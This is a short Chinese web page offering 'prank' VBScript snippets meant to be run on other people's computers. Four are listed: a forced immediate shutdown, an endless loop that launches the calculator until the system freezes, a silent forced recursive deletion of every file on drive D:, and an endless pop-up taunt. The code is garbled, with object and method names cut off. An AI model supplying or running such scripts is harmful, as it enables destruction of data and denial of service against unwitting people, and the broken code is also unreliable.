vbs恶搞代码，整人代码，非常简单

前言

（01）直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "shutdown -f -s -t 00",0 ,true

（02）打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("l") do "calc" loop

（03）删除D:所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "cmd /c ""del d:*.* / f /q /s""",0 ,true

（04）不断弹出窗口 ---------------------------------------------------------------------------- 复制代码代码如下:while(1) msgbox "哈哈 你被耍了！" loop